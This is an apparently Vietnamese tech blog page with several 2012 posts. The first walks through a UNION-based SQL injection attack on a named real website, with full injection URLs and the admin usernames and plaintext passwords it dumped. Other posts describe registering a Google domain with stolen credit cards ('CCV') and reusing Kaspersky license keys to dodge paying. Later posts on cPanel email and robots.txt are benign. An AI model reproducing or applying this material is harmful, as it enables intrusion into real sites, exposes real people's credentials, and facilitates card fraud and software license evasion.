Chia sẻ thông tin

KenjiVN - Quốc Trưởng

Search This Blog

Trưởng Nguyễn 's Blog

Chia sẻ kinh nghiệm, cung cấp những thông tin mới nhất về làng công nghệ. Chia sẻ những thủ thuật, những kiến thức hữu ích về công nghệ thông tin và truyền thông.

Trưởng Nguyễn 's Blog

Chia sẻ kinh nghiệm, cung cấp những thông tin mới nhất về làng công nghệ. Chia sẻ những thủ thuật, những kiến thức hữu ích về công nghệ thông tin và truyền thông.

Trưởng Nguyễn 's Blog

Chia sẻ kinh nghiệm, cung cấp những thông tin mới nhất về làng công nghệ. Chia sẻ những thủ thuật, những kiến thức hữu ích về công nghệ thông tin và truyền thông.

Trưởng Nguyễn 's Blog

Chia sẻ kinh nghiệm, cung cấp những thông tin mới nhất về làng công nghệ. Chia sẻ những thủ thuật, những kiến thức hữu ích về công nghệ thông tin và truyền thông.

Trưởng Nguyễn 's Blog

Chia sẻ kinh nghiệm, cung cấp những thông tin mới nhất về làng công nghệ. Chia sẻ những thủ thuật, những kiến thức hữu ích về công nghệ thông tin và truyền thông.

Monday, June 11, 2012

Hướng dẫn tấn công website P1

Tham gia đã lâu,hôm nay rảnh rỗi viết bài hacking cho mọi người tham khảo.Vì thấy có nhiều bạn hỏi hỏi Sql là gì?lfi,rfi là gì?Làm thế nào hack 1 website ,hack 1 forum?Làm sao get root,.....?Một phần vì ở nbt hacking không phát triển mấy .Vì thế bài viết này hi vọng giúp các bạn hiểu rõ vấn đề cũng như đam mê về hack hơn.
Định nghĩa Sql injection là gì?
Đơn giản injection tiếng việt là tiêm.Sql injection là tiêm các câu truy vấn vào.
Bài viết này mình hướng dẫn các bạn về web php,cơ sở dữ liệu phpmysql.
Sql injection chia làm 4 loại cơ bản:
• +Inband
• +Blind
• +Timebase
• +Out of band
Hôm nay ktc2608 sẽ hướng dẫn các bạn khai thác website thông qua lỗi Inband.
Lý thuyết Inband -SQLi:
-Inband là phương pháp dùng hàm union để khai thác.
-Union là hàm lien kết 2 truy vấn (query)”Select….” Với nhau.
Từ version 5.0 trở đi ,mysql có thềm :
• 1 database hệ thống là information_schema
• Các tabkle hệ thống của nó là tables,columns,table chi,….
• 2 table chúng ta cần quan tâm trong information_schema là tables và columns vì 2 table này chứ tên các table và column của website trên hệ thông
Cách khai thác gồm 4 bước
Bước 1:
Kiểm tran website có bị lỗi sql không
Bước 2:
Đếm số cột dùng order by đế xác định cột
Bước 3:
Sử dụng Union liên kết 2 câu truy vấn,tìm table cần khác thác thong qua information_schema.Tables
Bước 4:

Dựa trên information_chema.Columns để tìm các COLUMN thuộc table tương ứng bên trên.
Bước 5:

Có talbe và column cần thiết rôi ta chỉ việc khai thác thong tin cần biết
Thực hành
Victim:

Mã:
http://www.kemlam.com
Lang thang tìm được cái link này
Mã:
http://www.kemlam.com/?content=detail&proID=10
Bước 1:
Đầu tiên kiểm tra xem nó có bị lỗi sql injection không đã
Mã:
Mã:
http://www.kemlam.com/?content=detail&proID=10'
Mình thêm dấu nháy thử,vì giả sử câu truy vấn nó thế này
Mã:
$query = 'select * from sanpham where id=1';
Khi thêm dấu ' thì câu truy vấn sẽ là $query = 'select * from sanpham where id=1'';
=>Có tới 3 dấu nháy=> PHP sẽ báo syntax error hoặc hiện trang khác so với bình thường
Bước 2:Đếm số cột dùng order by đế xác định cột.Mình thử đoán số column là 13.Nên order 13 thử.
Mã:
Mã:
http://www.kemlam.com/?content=detail&proID=10 order by 13 --
==>Kết quả trả về bình thường.
Thử order by 14 xem sao
Mã:
Mã:
http://www.kemlam.com/?content=detail&proID=10 order by 14 --
Mã:
==>Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/kemlam/domains/kemlam.com/public_html/details.phpon line 8
Vậy chỉ có 13 Column
Ở đây mình sử dụng dấu -- là đến loại bỏ những phần sau câu truy vấn,trong phpmysql nó dùng để ghi những comment
Bước 3:Sử dụng Union liên kết 2 câu truy vấn,tìm table cần khác thác thong qua information_schema.Tables
Đầu tiên thực hiện Union.
Mã:
Mã:
http://www.kemlam.com/?content=detail&proID=Null UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13 --
Id mình sửa lại Null để kết quả câu truy vấn trả về là rỗng,mới show được các column bị lỗi show ra là column số 4 5 6 7 8 9 10.Mình sử dụng hàm version() để show ra version .version() đặt ở 1 trong vị trí các column bị lỗi.ở đây mình đặt ở column số 4
Mã:
Mã:
http://www.kemlam.com/?content=detail&proID=Null UNION SELECT 1,2,3,4,version(),6,7,8,9,10,11,12,13 --
=>Kết quả 5.0.51a-community=>Ngon ăn ,vì mình đã ghi chú ý về version >5.0 trên rồi
Truy vấn các table cần khai thác thông qua information_schema.Tables
Mã:
Mã:
http://www.kemlam.com/?content=detail&proID=Null  UNION SELECT 1,2,3,4,group_concat(table_name) ,6,7,8,9,10,11,12,13   from information_schema.tables where table_schema=database()--
=>Kết quả show ra các
Mã:
table:ads_vn,category_vn,cust_vn,hitcounter,notice,onlin e,pages_vn,product_vn,tinnoibat_vn,tintuc_vn,users
Đến đây mình đoán table users là table chứa user và password admin.(Kỹ năng của mỗi người thôi)
Bước 4ựa trên information_chema.Columns để tìm các COLUMN thuộc table tương ứng bên trên.
Mã:
Mã:
http://www.kemlam.com/?content=detail&proID=Null  UNION SELECT 1,2,3,4,group_concat(column_name) ,6,7,8,9,10,11,12,13   from information_schema.columns where table_name=CHAR(117, 115, 101, 114, 115)--
=>Kq trả về các column trong table users:User_ID,Username,realName,Pass,uRight
đến đây có bạn sẽ thắc mắc,Vì sao talbe_name=CHAR(117, 115, 101, 114, 115)-- mà không phải là table_name=users?
Đơn giản vì ở đây,trong file php.ini magic_quote đang ở chế đố on,nên ta phải đổi qua kiểu char hoặc kiểu ascii,trên đó mình chuyển sang kiểu char.
Bước 5:Có talbe và column cần thiết rôi ta chỉ việc khai thác thong tin cần biết
2 column mình quan tâm là Username,Pass vì mình đoán user và password sẽ đặt ở đây.
Lấy thông tin bằng câu truy vấn đơn giản
Mã:
Mã:
http://www.kemlam.com/?content=detail&proID=Null%20UNION SELECT 1,2,3,4,group_concat(Username,0x2f,Pass),6,7,8,9,10,11,12,13 from users--
=>admin/qsv50502415,kemlam/123654,dinhtuan/123654
Có user và password giờ tim link admin đăng nhập thôi.
Tuy nhiên không khuyến khích các bạn phá hoại website người khác,nếu muốn thể hiện thì up 1 file .txt rồi gửi link cho bạn bè là được rồi
Ai có thắc mắc gì cứ reply phía dưới,nếu mình biết sẽ trả lời,mới viết 1 cách mà dài quá,các kiểu tấn công khác website khác mình sẽ viết ở P2,P3....
Anh em thank nhiệt tình nhé để làm những lỗi khác

TUT domain Google 1 năm cực kỳ dễ qua cho NB

Nguyên liệu: CCV đủ BL là qua, Ip việt Nam qua lun.
Đâm xong đợi 10 phút là doamin dc kích hoạt.
Live mãn hạn.

Site:
https://www.google.com/a/cpanel/standard/new3


Video HD: http://www.mediafire.com/?y6f7h11itzch6pg

Pass:
Bỏ pass rồi nha các bạn

TUT này cho NB pro đừng chém tội em.

Sunday, June 10, 2012

Cpanel: Hướng dẫn khởi tạo và quản lý email

Giả sử tên miền abc.com đã được cài đặt sử dụng hosting với Cpanel, chúng ta có các thông số kỹ thuật như sau:

Tên miền (Domain): abc.com
Địa chỉ đăng nhập vào Cpanel http://www.abc.com/cpanel hoặc http://www.abc.com:2082
Máy chủ mail (Mail server): mail.abc.com


1. Đăng nhập

Đăng nhập vào Cpanel với thông tin tài khoản Cpanel đã được cung cấp.



Tài màn hình chính sau khi đăng nhập, tìm mục Mail


Đây là màn hình tập trung tất cả các chức năng liên quan đến việc quản lý và sử dụng email.


2. Khởi tạo email

Chọn Email Accounts để vào mục tạo mới và quản lý các địa chỉ email.

Mục tạo địa chỉ email mới ở ngay đầu màn hình:



Nhấn Create Account để thiết lập địa chỉ email với thông số đã nhập.


3. Quản lý các địa chỉ email

Kề dưới mục tạo mới là mục quản lý email



Mục Usage / Quota hiển thị dung lượng sử dụng của mỗi email.

Change password thay đổi mật khẩu

Change quota thay đổi dung lượng hộp thư

Delete xóa email và tất cả dữ liệu email trong đó


4. Chuyển tiếp email

Chọn Forwarders để vào mục chuyển tiếp email:



Chọn Add Forwarders để tạo lệnh chuyển tiếp:



Cách sử dụng KIS & KAV 2012 bản quyền miễn phí



Hôm nay mình sẽ chia sẻ với các bạn 1 cách để sử dụng KIS 2012 bản quyền miễn phí
Tất cả những gì các bạn cần phải làm chỉ là kích hoạt KIS với cái code này


EACSF-M1KR2-3BGSG-VQAQ6
Vậy cái code này có gì đặc biệt
-trước hết đây là code 1 tháng
-code này kích hoạt được cho nhiều máy
-và điều quan trọng là đây :
Cái code này có 1 đặc điểm rất thú vị đó là :
Bạn dùng cái code này một thời gian sau đó xóa đi và kích hoạt lại thì vẫn kích hoạt được và ko chỉ có thế mà số ngày còn lại cũng sẽ được tính lại từ đầu


Và đây là hình ảnh mà mình đã làm thử
Mình đã kích hoạt code này vào ngày 17/2



Sau khi dùng 1 ngày (tức là số ngày còn lại là 29 ngày) sang ngày 18/2 mình đã xóa đi và kích hoạt lại
Và kết quả là đây




Quả thực là rất thú vị phải ko ? ^^
Vậy các bạn đã hiểu cách dùng KIS miễn phí mà mình muốn nói chưa nào
Đó là các bạn hãy dùng cái code này đến khi gần hết hạn thì hãy xóa đi và kích hoạt lại và lại có 30 ngày còn lại
Cứ như thế bạn có thể sử dụng KIS bản quyền hoàn toàn miễn phí và ko còn phải lo đi tìm key nữa
Mọi người cùng thử và cho ý kiến nhé

p/s : do có 1 số bạn thấy như thế vẫn chưa đủ sức thuyết phục do mình mới chỉ thử 1 lần và cũng mới chỉ thử sau khi đã dùng 1 ngày
do đó sau khi kích hoạt ngày 18/2 và đã dùng được 2 ngày sang ngày 20/2 mình lại xóa đi và kích hoạt lại
và đây là hình ảnh ngày 20/2



Như vậy đã đủ sức thuyết phục chưa nào mọi người ^^

Và để đáp ứng yêu cầu của các bạn, mình đã tìm ra code tương tự để dùng cho KAV 2012



Y1PBP-5PQD5-SKEV8 -X58K8
Cái code này hoàn toàn giống với cái code kia đó là cũng có thời gian 1 tháng, cũng kích hoạt được cho nhiều máy và việc các bạn cần phải làm đó là kích hoạt KAV với cái code này và dùng nó đến khi hết hạn thì xóa đi và kích hoạt lại và lại có 30 ngày còn lại
Cứ như thế các bạn có thể sử dụng KAV 2012 bản quyền hoàn toàn miễn phí
Các bạn dùng KAV hãy cùng thử và cho ý kiến nhé

Tìm hiểu và tạo file Robots.txt

Một trong những điều cần chú ý để website của bạn có thể đạt thứ hạng cao trong các cỗ máy tìm kiếm là bạn phải xây dựng cho mình một file Robots.txt theo đúng tiêu chuẩn.
image
Vậy file Robots.txt là gì? Khi một search engine tìm đến (nguyên văn Crawler) Website nào đó, nó sẽ tìm một file đặc biệt trước tiên, đó là file robots.txt. File robots.txt cho search engine đó biết rằng, Website này có thể index hoặc không (tùy theo lệnh được viết trong file robots.txt).
Thực chất, file robots.txt là một tập tin văn bản đơn giản (không chứa mã HTML) được đặt trong thư mục gốc của web site, ví dụ
http://www.example.com/robots.txt.

Vậy, làm thế nào để tạo ra một file robots.txt? Rất đơn giản, bạn có thể mở chương trình Notepad hay bất cứ chương trình soạn thảo văn bản nào, lưu file với tên robots.txt là xong. Các dòng lệnh trong file này có cấu trúc như sau:
User-agent: googlebot
Disallow: /cgi-bin/
Trong đó
  • User-agent: là đại diện của một search engine, Googlebot là spider của Google. Trong ví dụ này, chỉ các spider của Google là được phép index web site.
  • Disallow: là không cho phép thực hiện điều gì đó. ở ví dụ trên là không cho phép các spider index thư mục "cgi-bin" trong web site.
Một số ví dụ nữa:
User-agent: googlebot
Disallow: /support
Tất cả các trang nằm trong thư mục support, hay support-desk sẽ không được index.
Nếu bạn muốn tất cả các search engine có thể index web site của bạn, nhưng không được index các trang trong thư mục "cgi-bin" thì sử dụng lệnh sau:
User-agent: *
Disallow: /cgi-bin/
  • Cho phép tất cả các search engine có thể spider toàn bộ site:
User-agent: *
Disallow: 

  • Chặn tất cả các search engine truy cập cgi-bin
User-agent: *
Disallow: /cgi-bin/ 

  • Không cho phép Yahoo! Slurp truy cập thư mục admin
User-agent: yahoo! Slurp
Disallow: /admin/ 

  • Không cho phép tất cả các search engine truy cập vào bất kì khu vực nào:
User-agent: *
Disallow: / 

4. File robots.txt mẫu sử dụng cho vbulletin:
User-agent: *
#Crawl-Delay: 10
Disallow: /cgi-bin/
Disallow: /forum/ajax.php
Disallow: /forum/cron.php
Disallow: /forum/attachment.php
Disallow: /forum/editpost.php
Disallow: /forum/external.php 
Disallow: /forum/faq.php
Disallow: /forum/global.php
Disallow: /forum/image.php
Disallow: /forum/joinrequest.php
Disallow: /forum/login.php
Disallow: /forum/misc.php
Disallow: /forum/moderator.php
Disallow: /forum/newattatchment.php
Disallow: /forum/newreply.php
Disallow: /forum/newthread.php
Disallow: /forum/online.php
Disallow: /forum/payment_gateway.php
Disallow: /forum/payments.php
Disallow: /forum/pdfthread.php
Disallow: /forum/poll.php
Disallow: /forum/postings.php
Disallow: /forum/printthread.php
Disallow: /forum/private.php
Disallow: /forum/profile.php
Disallow: /forum/register.php
Disallow: /forum/report.php
Disallow: /forum/reputation.php
Disallow: /forum/search.php
Disallow: /forum/sendmessage.php
Disallow: /forum/subcription.php
Disallow: /forum/subcriptions.php
Disallow: /forum/threadrate.php
Disallow: /forum/usercp.php
Disallow: /forum/usernote.php
Disallow: /forum/admincp/
Disallow: /forum/images/
Disallow: /forum/modcp/
Disallow: /forum/articlebot/
Disallow: /forum/clientscript/
Disallow: /forum/customavatars/
Disallow: /forum/customprofilepics/
Disallow: /forum/files/
Disallow: /forum/cpstyles/
Disallow: /forum/images/
Disallow: /forum/includes/
Disallow:/forum/subscriptions/
Disallow:/forum/attachments/ 
Disallow:/forum/frm_attach/ 

Những điều nên tránh:
+ Không sử dụng các chú thích trong file robots.txt, nó có thể làm cho các spider của search engine bị lầm lẫn. Ví dụ:
"Disallow: support # Don’t index the support directory" might be misinterepreted as "Disallow: support#Don’t index the support directory".
+ Không được để khoảng trắng ở đầu dòng lệnh, ví dụ:
User-agent: *
Disallow: /cgi-bin/
+Không thay đổi trật tự của các dòng lệnh. Ví dụ:
Disallow: /support
User-agent: *
+ Không sử dụng quá một thư mục trong dòng lệnh Disallow. Ví dụ:
User-agent: *
Disallow: /support /cgi-bin/ /images/
Các search engine không hiểu định dạng trên. bạn nên viết thế này:
User-agent: *
Disallow: /support
Disallow: /cgi-bin/
Disallow: /images/
+Phải chắc chắn các mệnh đề, từ sử dụng trong lệnh là đúng. Ví dụ, thư mục của bạn là "cgi-bin" (viết thường, không viết hoa), nhưng khí vào lệnh, bạn lại viết là "Cgi-Bin" thì các spider sẽ "bó tay".
+ Không nên dùng lệnh Allow trong file robots.txt, bởi vì trong web site của bạn chắc chắn sẽ có một số trang hoặc một số thành phần bạn không muốn bị người khác "nhòm ngó". nếu bạn sử dụng lệnh Allow, tất cả mọi ngóc ngách trong web site của bạn sẽ bị index!

Tự động tạo robots.txt

Nếu bạn có sử dụng Google Webmaster thì họ cũng cho phép bạn tạo robots.txt hoặc bạn có thể sử dụng Robots.txt Generator để tự động tạo file robots.txt cho mình ngoài ra có thể tham khảo bộ tools dành cho các quản tri web do Google cung cấp có tích hợp tạo file robots.txt Webmaster Tools Central